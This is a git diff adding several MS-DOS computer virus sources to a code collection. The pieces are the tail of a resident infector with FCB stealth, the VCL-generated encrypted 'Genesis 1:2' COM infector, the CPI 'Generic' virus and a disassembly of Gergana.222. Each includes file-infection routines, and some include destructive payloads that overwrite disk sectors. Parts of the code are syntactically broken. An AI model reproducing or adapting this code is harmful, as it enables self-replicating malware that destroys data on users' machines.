+ jnz CheckForDTACall ; No? Then JMP. + jmp short JMPInt21 + nop + +CheckForDTACall: ; Set New DTA Segment/Offset + cmp ah, 1Ah + jnz CheckFindFCB ; No? Then JMP. + call StoreDTAVecs + jmp short JMPInt21 + nop + +CheckFindFCB: ; Find First File (FCB)? + cmp ah, 11h + jnz CheckFindNextMC ; No? Then JMP. + call FindFirstFCB + iret + +CheckFindNextMC: ; Find Next File (FCB)? + cmp ah, 12h + jnz JMPInt21 ; No? Then JMP. + call FindNextFCB + iret + +JMPInt21: + jmp dword ptr cs:Int21Ofs + +FindFirstFCB proc near + mov al, 57h ; Virus Calling + int 21h ; Find First File (FCB) + push ax + push cx + push dx + push bx + push bp + push si + push di + push ds + push es + push cs + pop ds ; DS = CS + push cs + pop es ; ES = CS + assume es:seg000 + mov cs:InfectCount, 0 + nop + call GetFilename + jnz GotBadFile + call CheckInfection + jz GotBadFile + call DoInfection + dec InfectCount + +GotBadFile: + pop es + assume es:nothing + pop ds + pop di + pop si + pop bp + pop bx + pop dx + pop cx + pop ax + retn +FindFirstFCB endp + +GetFilename proc near + push cs + pop es ; ES = CS + assume es:seg000 + push cs + pop es ; ES = CS + cld + call StoreFilename + jnb CheckExt ; No problems? Then JMP. + cmp di, 0 + retn + +CheckExt: + mov di, offset FileName + mov al, '.' + mov cx, 11 + repne scasb ; Scan for File Extension + cmp word ptr [di], 'OC' ; COM File? + jnz CheckForEXE ; No? Then JMP. + cmp byte ptr [di+2], 'M' ; COM File? + jnz CheckForEXE ; No? Then JMP. + mov FileType, 'C' + nop + retn + +CheckForEXE: ; EXE File? + cmp word ptr [di], 'XE' + jnz BadFileType ; No? Then JMP. + cmp byte ptr [di+2], 'E' ; EXE File? + jnz BadFileType ; NO? Then JMP. + mov FileType, 'E' + nop + +BadFileType: + retn +GetFilename endp + +StoreFilename proc near + push ds + mov si, cs:DTAOffset + mov ax, cs:DTASegment + mov ds, ax + mov di, offset FileName + lodsb + cmp al, 0FFh ; Extended FCB? + jnz RegularFCB ; No? Then JMP. + add si, 6 ; Add For Extended FCB + lodsb ; Get First Character + jmp short FileOnDrive + nop + +RegularFCB: ; Is this a file on a drive? + cmp al, 5 + jb FileOnDrive ; Yes? Then JMP. + pop ds + stc + retn + +FileOnDrive: + mov cx, 11 + cmp al, 0 ; End of Filename? + jz EndOfName ; Yes? Then JMP. + add al, 40h ; Capitalize Drive Letter + stosb ; Store Drive Letter + mov al, ':' + stosb + +EndOfName: + lodsb + cmp al, 20h ; End of Filename? + jz EndOFFilename ; Yes? Then JMP. + stosb ; Store Character + jmp short GetNextChar + nop + +EndOFFilename: + cmp byte ptr es:[di-1], '.' + jz GetNextChar + mov al, '.' + stosb ; Store EXTENSION Marker + +GetNextChar: + loop EndOfName + mov al, 0 + stosb ; Store End of Filename + pop ds + clc + retn +StoreFilename endp + +FindNextFCB proc near + mov al, 57h ; Virus Call + int 21h ; Find Next File (FCB) + push ax + push cx + push dx + push bx + push bp + push si + push di + push ds + push es + push cs + pop ds ; DS = CS + push cs + pop es ; ES = CS + cmp cs:InfectCount, 0 ; Infected one yet? + jz CheckFile ; No? Then JMP. + jmp short BadFile + nop + +CheckFile: + call GetFilename + jnz BadFile ; Bad? Then JMP. + call CheckInfection + jz BadFile ; Infected Already? Then JMP. + call DoInfection + dec InfectCount + pop es + assume es:nothing + pop ds + pop di + pop si + pop bp + pop bx + pop dx + pop cx + pop ax + retn + +BadFile: + pop es + pop ds + pop di + pop si + pop bp + pop bx + pop dx + pop cx + pop ax + retn +FindNextFCB endp + +InfectCount db 0 + +StoreDTAVecs proc near + push ax + push ds + pop ax + mov cs:DTASegment, ax + mov cs:DTAOffset, dx + pop ax + retn +StoreDTAVecs endp + +GetInt24Vecs proc near + push cs + mov al, 0 + out 20h, al ; Interrupt controller, 8259A. + mov ax, 3524h + int 21h ; Get Int 24h Vectors + mov Int24Ofs, bx + mov bx, es + mov Int24Seg, bx + pop es + mov si, offset Caterpillar + mov di, offset FileName + mov cx, 15 + +loc_0_5FA: + lodsb + add al, 20h + stosb + loop loc_0_5FA + retn +GetInt24Vecs endp + +sub_0_601 proc near + push ax + push cs + pop ds ; DS = CS + push cs + pop es ; ES = CS + assume es:seg000 + mov bl, GenCounter + cmp bl, 0Ch + ja loc_0_648 + cmp bl, 0 + jz loc_0_648 + mov al, 8 + out 70h, al ; CMOS Memory: + ; used by real-time clock + in al, 71h ; CMOS Memory + cmp al, 0Ch + ja loc_0_648 + cmp al, 0 + jz loc_0_648 + cmp al, bl + jz loc_0_648 + inc bl + call CheckCounter + cmp al, bl + jz loc_0_648 + inc bl + call CheckCounter + cmp al, bl + jz loc_0_648 + pop ds + call FillWithSpace + push cs + pop ds ; DS = CS + retn +sub_0_601 endp + +CheckCounter proc near + cmp bl, 12 ; Counter Below or Equal to 12? + jbe Below12 ; Yes? Then JMP. + sub bl, 12 ; Reset Counter + +Below12: + retn +CheckCounter endp + +loc_0_648: + pop ax + retn + +DoInfection proc near + mov dx, offset NewInt24 + mov ax, 2524h + int 21h ; Set New Int 24h Vectors + cmp FileType, 'C' ; COM File? + jnz DoInfectEXE ; No? Then JMP. + call InfectCOM + jmp short InfectedFile + nop + +DoInfectEXE: + call InfectEXE + +InfectedFile: + push ds + mov dx, Int24Ofs + mov ax, Int24Seg + mov ds, ax + mov ax, 2524h + int 21h ; Restore Int 24h + pop ds + retn +DoInfection endp + +NewInt24: + mov al, 3 + iret + +FillWithSpace proc near + mov dx, offset NewInt1C + mov ax, 251Ch + int 21h ; Set New Int 1Ch + mov byte ptr NewInt1C, 90h + nop + mov ax, 0B800h + mov es, ax ; ES points to Video Memory + assume es:nothing + mov di, 0FA0h + mov ax, 720h + mov cx, 11 + repne stosw + push cs + pop es ; ES = CS + assume es:seg000 + retn +FillWithSpace endp + + db 0 ; + db 0 ; +byte_0_699 db 0 +word_0_69A dw 720h +byte_0_69C db 0Fh, 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh + db 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0F7h, 0Eh +byte_0_6AE db 0EEh + db 0Ch ; + +NewInt1C: + nop + sti + push ax + push cx + push dx + push bx + push bp + push si + push di + push ds + push es + push cs + pop ds ; DS = CS + jmp short loc_0_6CA + nop + +loc_0_6C0: + pop es + assume es:nothing + pop ds + pop di + pop si + pop bp + pop bx + pop dx + pop cx + pop ax + iret + +loc_0_6CA: + mov ax, 0B800h + mov es, ax ; ES points to Video Memory + assume es:nothing + call sub_0_6FD + mov si, offset word_0_69A + mov cx, 22 + repne movsb + cmp byte_0_6AE, 0EEh + jz loc_0_6E9 + mov byte_0_6AE, 0EEh + jmp short loc_0_6EE + nop + +loc_0_6E9: + mov byte_0_6AE, 0F0h + +loc_0_6EE: + mov ax, es:[di] + mov ah, 0Eh + mov word_0_69A, ax + mov byte_0_699, 0 + jmp short loc_0_6C0 + +sub_0_6FD proc near + mov di, 0 + +loc_0_700: + mov si, offset byte_0_69C + push di + mov cx, 18 + cld + rep cmpsb + pop di + jz loc_0_718 + inc di + inc di + cmp di, 4000 + jnz loc_0_700 + mov di, 0 + +loc_0_718: + cmp di, 3998 + jnz locret_0_723 + mov byte ptr NewInt1C, 0CFh + +locret_0_723: + retn +sub_0_6FD endp + +FileType db 0 ; E = EXE File C = COM File + ; 0 = 1st Generation +InfMarker dw 0A0Ch +seg000 ends + + + end start diff --git a/g/GEN12.ASM b/g/GEN12.ASM new file mode 100755 index 0000000..f50bdb3 --- /dev/null +++ b/g/GEN12.ASM @@ -0,0 +1,390 @@ +; GEN12.ASM -- Genesis 1:2 Virus +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Virucidal Maniac + +virus_type equ 0 ; Appending Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +main proc near + db 0E9h,00h,00h ; Near jump (for compatibility) +start: call find_offset ; Like a PUSH IP +find_offset: pop bp ; BP holds old IP + sub bp,offset find_offset ; Adjust for length of host + + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + + lea si,[bp + buffer] ; SI points to original start + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + movsw ; Copy the first two bytes + movsb ; Copy the third byte + + mov di,bp ; DI points to start of virus + + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h + + call get_dos_version + cmp ax,0005h ; Did the function return 5? + jl strt00 ; If less, do effect + call get_minute + or ax,ax ; Did the function return zero? + je strt00 ; If equal, do effect + call get_year + cmp ax,07C9h ; Did the function return 1993? + je strt00 ; If equal, do effect + jmp end00 ; Otherwise skip over it +strt00: mov ax,0002h ; First argument is 2 + mov cx,0007h ; Second argument is 7 + cli ; Disable interrupts (no Ctrl-C) + cwd ; Clear DX (start with sector 0) + int 026h ; DOS absolute write interrupt + sti ; Restore interrupts + +end00: mov cx,0005h ; Do 5 infections +search_loop: push cx ; Save CX + call search_files ; Find and infect a file + pop cx ; Restore CX + loop search_loop ; Repeat until CX is 0 + + jmp end01 ; Otherwise skip over it +strt01: lea si,[di + data00] ; SI points to data + mov ah,0Eh ; BIOS display char. function +display_loop: lodsb ; Load the next char. into AL + or al,al ; Is the character a null? + je disp_strnend ; If it is, exit + int 010h ; BIOS video interrupt + jmp short display_loop ; Do the next character +disp_strnend: + +end01: +com_end: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + + mov sp,bp ; Deallocate local buffer + + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + + ret ; Return to original program +main endp + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + lea dx,[di + root] ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + lea dx,[di + all_files] ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + lea dx,[di + up_dir] ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + lea dx,[di + com_mask] ; DX points to "*.COM" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +com_mask db "*.COM",0 ; Mask for all .COM files +traverse endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [di + set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ah],(65279 - (finish - start)) + jbe size_ok ; If it's small enough continue + jmp infection_done ; Otherwise exit + +size_ok: mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,3 ; CX holds bytes to read (3) + lea dx,[di + buffer] ; DX points to buffer + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + xchg dx,ax ; Faster than a PUSH AX + mov ah,03Eh ; DOS close file function + int 021h + xchg dx,ax ; Faster than a POP AX + + sub ax,finish - start + 3 ; Adjust AX for a valid jump + cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? + je infection_done ; If equal then exit + mov byte ptr [di + set_carry],1 ; Success -- the file is OK + add ax,finish - start ; Re-adjust to make the jump + mov word ptr [di + new_jump + 1],ax ; Construct jump + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,3 ; CX holds bytes to write (3) + lea dx,[di + new_jump] ; DX points to the jump we made + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + push si ; Save SI through call + call encrypt_code ; Write an encrypted copy + pop si ; Restore SI + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +set_carry db ? ; Set-carry-on-exit flag +buffer db 090h,0CDh,020h ; Buffer to hold old three bytes +new_jump db 0E9h,?,? ; New jump to virus +infect_file endp + + +get_dos_version proc near + mov ah,030h ; DOS get DOS version function + int 021h + mov bx,ax ; Save return value in BX + xor bl,bl ; Clear DOS major version in BX + xchg bh,bl ; Place 0 in BH, minor in BL + cbw ; Sign-extend AL into AX + mov cl,100 ; CL holds multiplier + mul cl ; Multiply AL by 100 + add ax,bx ; Add back the minor version + ret ; Return to caller +get_dos_version endp + +get_minute proc near + mov ah,02Ch ; DOS get time function + int 021h + mov al,cl ; Copy minute into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_minute endp + +get_year proc near + mov ah,02Ah ; DOS get date function + int 021h + xchg cx,ax ; Transfer the year into AX + ret ; Return to caller +get_year endp + +data00 db "Genesis 1:2",13,10 + db " And the earth was without form and void...",13,10 + db 13,10 + db " Now...So is your hard disk.",13,10 + db 13,10 + db " -Virucidal Maniac",13,10 + +vcl_marker db "[VCL]",0 ; VCL creation marker + +encrypt_code proc near + push bp ; Save BP + mov bp,di ; Use BP as pointer to code + lea si,[bp + encrypt_decrypt]; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 9],dx ; Low word of timer is new key + + xor byte ptr [si + 1],8 ; + xor byte ptr [si + 8],1 ; Change all SIs to DIs + xor word ptr [si + 11],0101h; (and vice-versa) + + lea di,[bp + finish] ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + lea si,[bp + write_stuff] ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + lea dx,[bp + start] ; DX points to virus + + lea si,[bp + finish] ; SI points to routine + call si ; Encrypt/write/decrypt + + mov di,bp ; DI points to virus again + pop bp ; Restore BP + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + lea si,[bp + start_of_code] ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main diff --git a/g/GENERIC.ASM b/g/GENERIC.ASM new file mode 100755 index 0000000..29f7dbe --- /dev/null +++ b/g/GENERIC.ASM @@ -0,0 +1,260 @@ +;============================================================================= +; +; C*P*I +; +; CORRUPTED PROGRAMMING INTERNATIONAL +; ----------------------------------- +; p r e s e n t s +; +; T H E +; _ _ +; (g) GENERIC VIRUS (g) +; ^ ^ +; +; +; A GENERIC VIRUS - THIS ONE MODIFIES ALL COM AND EXE FILES AND ADDS A BIT OF +; CODE IN AND MAKES EACH A VIRUS. HOWEVER, WHEN IT MODIFIES EXE FILES, IT +; RENAMES THE EXE TO A COM, CAUSING DOS TO GIVE THE ERROR PROGRAM TO BIG TO +; FIT IN MEMORY THIS WILL BE REPAIRED IN LATER VERSIONS OF THIS VIRUS. +; +; WHEN IT RUNS OUT OF FILES TO INFECT, IT WILL THEN BEGIN TO WRITE GARBAGE ON +; THE DISK. HAVE PHUN WITH THIS ONE. +; +; ALSO NOTE THAT THE COMMENTS IN (THESE) REPRESENT DESCRIPTION FOR THE CODE +; IMMEDIATE ON THAT LINE. THE OTHER COMMENTS ARE FOR THE ENTIRE ;| GROUPING. +; +; THIS FILE IS FOR EDUCATIONAL PURPOSES ONLY. THE AUTHOR AND CPI WILL NOT BE +; HELD RESPONSIBLE FOR ANY ACTIONS DUE TO THE READER AFTER INTRODUCTION OF +; THIS VIRUS. ALSO, THE AUTHOR AND CPI DO NOT ENDORSE ANY KIND OF ILLEGAL OR +; ILLICIT ACTIVITY THROUGH THE RELEASE OF THIS FILE. +; +; DOCTOR DISSECTOR +; CPI ASSOCIATES +; +;============================================================================= + +MAIN: + NOP ;| Marker bytes that identify this program + NOP ;| as infected/a virus + NOP ;| + + MOV AX,00 ;| Initialize the pointers + MOV ES:[POINTER],AX ;| + MOV ES:[COUNTER],AX ;| + MOV ES:[DISKS B],AL ;| + + MOV AH,19 ;| Get the selected drive (dir?) + INT 21 ;| + + MOV CS:DRIVE,AL ;| Get current path (save drive) + MOV AH,47 ;| (dir?) + MOV DH,0 ;| + ADD AL,1 ;| + MOV DL,AL ;| (in actual drive) + LEA SI,CS:OLD_PATH ;| + INT 21 ;| + + MOV AH,0E ;| Find # of drives + MOV DL,0 ;| + INT 21 ;| + CMP AL,01 ;| (Check if only one drive) + JNZ HUPS3 ;| (If not one drive, go the HUPS3) + MOV AL,06 ;| Set pointer to SEARCH_ORDER +6 (one drive) + + HUPS3: MOV AH,0 ;| Execute this if there is more than 1 drive + LEA BX,SEARCH_ORDER ;| + ADD BX,AX ;| + ADD BX,0001 ;| + MOV CS:POINTER,BX ;| + CLC ;| + +CHANGE_DISK: ;| Carry is set if no more .COM files are + JNC NO_NAME_CHANGE ;| found. From here, .EXE files will be + MOV AH,17 ;| renamed to .COM (change .EXE to .COM) + LEA DX,CS:MASKE_EXE ;| but will cause the error message Program + INT 21 ;| to large to fit in memory when starting + CMP AL,0FF ;| larger infected programs + JNZ NO_NAME_CHANGE ;| (Check if an .EXE is found) + + MOV AH,2CH ;| If neither .COM or .EXE files can be found, + INT 21 ;| then random sectors on the disk will be + MOV BX,CS:POINTER ;| overwritten depending on the system time + MOV AL,CS:[BX] ;| in milliseconds. This is the time of the + MOV BX,DX ;| complete infection of a storage medium. + MOV CX,2 ;| The virus can find nothing more to infect + MOV DH,0 ;| starts its destruction. + INT 26 ;| (write crap on disk) + +NO_NAME_CHANGE: ;| Check if the end of the search order table + MOV BX,CS:POINTER ;| has been reached. If so, end. + DEC BX ;| + MOV CS:POINTER,BX ;| + MOV DL,CS:[BX] ;| + CMP DL,0FF ;| + JNZ HUPS2 ;| + JMP HOPS ;| + +HUPS2: ;| Get a new drive from the search order table + MOV AH,0E ;| and select it, beginning with the ROOT dir. + INT 21 ;| (change drive) + MOV AH,3B ;| (change path) + LEA DX,PATH ;| + INT 21 ;| + JMP FIND_FIRST_FILE ;| + +FIND_FIRST_SUBDIR: ;| Starting from the root, search for the + MOV AH,17 ;| first subdir. First, (change .exe to .com) + LEA DX,CS:MASKE_EXE ;| convert all .EXE files to .COM in the + INT 21 ;| old directory. + MOV AH,3B ;| (use root directory) + LEA DX,PATH ;| + INT 21 ;| + MOV AH,04E ;| (search for first subdirectory) + MOV CX,00010001B ;| (dir mask) + LEA DX,MASKE_DIR ;| + INT 21 ;| + JC CHANGE_DISK ;| + MOV BX,CS:COUNTER ;| + INC BX ;| + DEC BX ;| + JZ USE_NEXT_SUBDIR ;| + +FIND_NEXT_SUBDIR: ;| Search for the next sub-dir, if no more + MOV AH,4FH ;| are found, the (search for next subdir) + INT 21 ;| drive will be changed. + JC CHANGE_DISK ;| + DEC BX ;| + JNZ FIND_NEXT_SUBDIR ;| + +USE_NEXT_SUBDIR: + MOV AH,2FH ;| Select found directory. (get dta address) + INT 21 ;| + ADD BX,1CH ;| + MOV ES:[BX],W\ ;| (address of name in dta) + INC BX ;| + PUSH DS ;| + MOV AX,ES ;| + MOV DS,AX ;| + MOV DX,BX ;| + MOV AH,3B ;| (change path) + INT 21 ;| + POP DS ;| + MOV BX,CS:COUNTER ;| + INC BX ;| + MOV CS:COUNTER,BX ;| + +FIND_FIRST_FILE: ;| Find first .COM file in the current dir. + MOV AH,04E ;| If there are none, (Search for first) + MOV CX,00000001B ;| search the next directory. (mask) + LEA DX,MASKE_COM ;| + INT 21 ;| + JC FIND_FIRST_SUBDIR ;| + JMP CHECK_IF_ILL ;| + +FIND_NEXT_FILE: ;| If program is ill (infected) then search + MOV AH,4FH ;| for another. (search for next) + INT 21 ;| + JC FIND_FIRST_SUBDIR ;| + +CHECK_IF_ILL: ;| Check if already infected by virus. + MOV AH,3D ;| (open channel) + MOV AL,02 ;| (read/write) + MOV DX,9EH ;| (address of name in dta) + INT 21 ;| + MOV BX,AX ;| (save channel) + MOV AH,3FH ;| (read file) + MOV CH,BUFLEN ;| + MOV DX,BUFFER ;| (write in buffer) + INT 21 ;| + MOV AH,3EH ;| (close file) + INT 21 ;| + MOV BX,CS:[BUFFER] ;| (look for three NOPs) + CMP BX,9090 ;| + JZ FIND_NEXT_FILE ;| + + MOV AH,43 ;| This section by-passes (write enable) + MOV AL,0 ;| the MS/PC DOS Write Protection. + MOV DX,9EH ;| (address of name in dta) + INT 21 ;| + MOV AH,43 ;| + MOV AL,01 ;| + AND CX,11111110B ;| + INT 21 ;| + + MOV AH,3D ;| Open file for read/write (open channel) + MOV AL,02 ;| access (read/write) + MOV DX,9EH ;| (address of name in dta) + INT 21 ;| + + MOV BX,AX ;| Read date entry of program and (channel) + MOV AH,57 ;| save for future use. (get date) + MOV AL,0 ;| + INT 21 ;| + PUSH CX ;| (save date) + PUSH DX ;| + + MOV DX,CS:[CONTA W] ;| The jump located at 0100h (save old jmp) + MOV CS:[JMPBUF],DX ;| the program will be saved for future use. + MOV DX,CS:[BUFFER+1] ;| (save new jump) + LEA CX,CONT-100 ;| + SUB DX,CX ;| + MOV CS:[CONTA],DX ;| + + MOV AH,57 ;| The virus now copies itself to (write date) + MOV AL,1 ;| to the start of the file. + POP DX ;| + POP CX ;| (restore date) + INT 21 ;| + MOV AH,3EH ;| (close file) + INT 21 ;| + + MOV DX,CS:[JMPBUF] ;| Restore the old jump address. The virus + MOV CS:[CONTA],DX ;| at address CONTA the jump which was at the + ;| start of the program. This is done to +HOPS: ;| preserve the executability of the host + NOP ;| program as much as possible. After saving, + CALL USE_OLD ;| it still works with the jump address in the + ;| virus. The jump address in the virus differs + ;| from the jump address in memory + +CONT DB 0E9 ;| Continue with the host program (make jump) +CONTA DW 0 ;| + MOV AH,00 ;| + INT 21 ;| + +USE_OLD: + MOV AH,0E ;| Reactivate the selected (use old drive) + MOV DL,CS:DRIVE ;| drive at the start of the program, and + INT 21 ;| reactivate the selected path at the start + MOV AH,3B ;| of the program.(use old drive) + LEA DX,OLD_PATH-1 ;| (get old path and backslash) + INT 21 ;| + RET ;| + +SEARCH_ORDER DB 0FF,1,0,2,3,0FF,00,0FF + +POINTER DW 0000 ;| (pointer f. search order) +COUNTER DW 0000 ;| (counter f. nth. search) +DISKS DB 0 ;| (number of disks) +MASKE_COM DB *.COM,00 ;| (search for com files) +MASKE_DIR DB *,00 ;| (search for dirs) +MASKE_EXE DB 0FF,0,0,0,0,0,00111111XB + DB 0,????????EXE,0,0,0,0 + DB 0,????????COM,0 +MASKE_ALL DB 0FF,0,0,0,0,0,00111111XB + DB 0,???????????,0,0,0,0 + DB 0,????????COM,0 + +BUFFER EQU 0E00 ;| (a safe place) + +BUFLEN EQU 208H ;| Length of virus. Modify this accordingly + ;| if you modify this source. Be careful + ;| for this may change! + +JMPBUF EQU BUFFER+BUFLEN ;| (a safe place for jmp) + +PATH DB \,0 ;| (first place) +DRIVE DB 0 ;| (actual drive) +BACK_SLASH DB \ +OLD_PATH DB 32 DUP (?) ;| (old path) + \ No newline at end of file diff --git a/g/GERG222.ASM b/g/GERG222.ASM new file mode 100755 index 0000000..b5e4bf2 --- /dev/null +++ b/g/GERG222.ASM @@ -0,0 +1,147 @@ + +; Gergana.222 +; disassembly by Metabolis/VLAD +; with a small amount of help from Qark :) + +; I thought it would be interesting since it infects the start of +; files whereas most will append. + +; use TASM to re-assemble + +int24s equ 12h ; original int 24h +int24o equ 14h ; handler location +dtapos equ 80h ; DTA position in memory +fbuffer equ 0FA00h ; 222 byte buffer +inf_flag equ 0FA46h ; infection flag +tempdta equ 0FF80h ; Where to store temp DTA +filename equ 0FF9Eh ; Where the filename is :) + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + org 100h + +gerg_222 proc far + +start: + mov ax,flength + push ax + mov dx,tempdta ; Temporarily store + mov ah,1Ah ; DTA at address tempdta + int 21h ; Set DTA to buffer + mov cx,20h ; attributes to search for + mov dx,offset filemask ; '*.COM' + mov ah,4Eh ; Find 1st file matching the + int 21h ; above string.. + jc finish_up ; uh oh.. no files! + mov dx,offset int_24h_entry ; Attach the new error + mov ax,2524h ; handling procedure to + int 21h ; int 24h :) + +read_virus: + mov dx,filename ; open file with filename + mov ax,3D02h ; to read + int 21h + jc find_next ; can't open file! goto find_next + xchg bx,ax ; put file handle into BX + mov cx,0DEh ; read 222 bytes + mov dx,fbuffer ; into fbuffer + mov ah,3Fh + int 21h + jnc infect ; no error goto infect +find_next: + call close_file + mov ah,4Fh + int 21h ; find next file! + jc finish_up ; no more files, goto finish_up + jnc read_virus ; open and read the virus! + +gerg_222 endp + +close_file proc near + mov ah,3Eh + int 21h ; close file with handle + ; in BX + retn +close_file endp + +filemask db '*.COM', 00h ; file mask for search +flength dw 0DEh ; file length + +write_virus proc near + mov ah,40h ; write the virus (222 bytes) + mov cx,0DEh + int 21h + retn +write_virus endp + +infect: + mov cx,cs:inf_flag + cmp cx,2E2Ah + je find_next ; if file is infected find next + mov ax,4202h + xor cx,cx ; lseek to the end of the + xor dx,dx ; file + int 21h + cmp ax,0C350h ; if file is bigger than + ja find_next ; 50000 don't infect + cmp ax,100h ; if file is smaller than + jb find_next ; 256 don't infect + mov flength,ax ; put file length in flength + mov dx,fbuffer ; point to the file buffer + call write_virus ; write the 222 bytes which + ; were originally at the + ; start of the infected + ; program + jc find_next ; no can do, find next! + mov ax,4200h + xor cx,cx ; seek to the beginning + xor dx,dx ; of the file using + int 21h ; the file handle BX + mov dx,100h ; from 100h (which is where + call write_virus ; the virus is) + jc find_next ; no can do, find another file! + call close_file ; infected! close the file +finish_up: + mov dx,cs:int24s ; return the error handling + mov ax,cs:int24o ; interrupt 24h to its + mov ds,ax ; previous state + mov ax,2524h + int 21h + push cs + pop ds + mov ah,1Ah + mov dx,dtapos ; set DTA back to original + int 21h ; position 80h + mov si,offset execute_original + mov di,tempdta + mov cx,30h + rep movsb ; move 30 bytes from the + ; execute original code + ; to the tempdta storage + jmp $-237h ; jump back 567 bytes to + ; execute the next part + ; of the program + +execute_original: + + pop si ; prolly points to here + add si,100h ; add start of com address + mov di,100h ; set destination as com start. + mov cx,0deh ; virus length. + repz movsb ; move original code back. + mov ax,100h + jmp ax ; return to original code. + +copyright db 'Gergana II -BUL' ; authors signature + +int_24h_entry proc far + xor ax,ax ; Zero register + iret ; Interrupt return +int_24h_entry endp + + db 90h, 90h,0CDh, 20h ; Initial 4 bytes of infectee + +seg_a ends + + end start diff --git 